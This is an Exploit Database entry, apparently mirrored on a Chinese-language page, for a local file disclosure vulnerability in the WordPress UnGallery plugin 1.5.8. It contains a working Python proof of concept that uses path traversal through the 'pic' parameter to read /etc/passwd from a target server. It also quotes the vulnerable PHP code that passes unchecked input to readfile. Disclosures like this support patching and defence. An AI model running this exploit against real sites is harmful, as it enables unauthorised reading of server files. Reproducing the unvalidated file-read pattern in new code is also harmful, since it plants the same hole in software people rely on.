WordPress Plugin UnGallery 1.5.8 – Local File Disclosure

• Exploit Database
• 109 阅读

• 作者： Miroslav Stampar
  日期： 2011-08-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17704/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36

  # Exploit Title: WordPress UnGallery plugin <= 1.5.8 Local File Disclosure Vulnerability # Date: 2011-08-20 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/ungallery.1.5.8.zip # Version: 1.5.8 (tested)   --- PoC --- #!/bin/python   import urllib2   FILEPATH = "/etc/passwd"   req = urllib2.urlopen("http://www.site.com/wp-content/plugins/ungallery/source_vuln.php?pic=../../../../../../../..%s" % FILEPATH)   print "Filepath: &apos;%s&apos;" % FILEPATH print "Content: %s" % repr(req.read())   --------------- Vulnerable code --------------- if ($_GET[&apos;pic&apos;]) { $filename = $_GET[&apos;pic&apos;]; $len = filesize($filename); $lastslash =strrpos($filename, "/"); $name =substr($filename, $lastslash + 1);   header("Content-type: image/jpeg;\r\n"); header("Content-Length: $len;\r\n"); header("Content-Transfer-Encoding: binary;\r\n"); header(&apos;Content-Disposition: inline; filename="&apos;.$name.&apos;"&apos;); //Render the photo inline. readfile($filename); }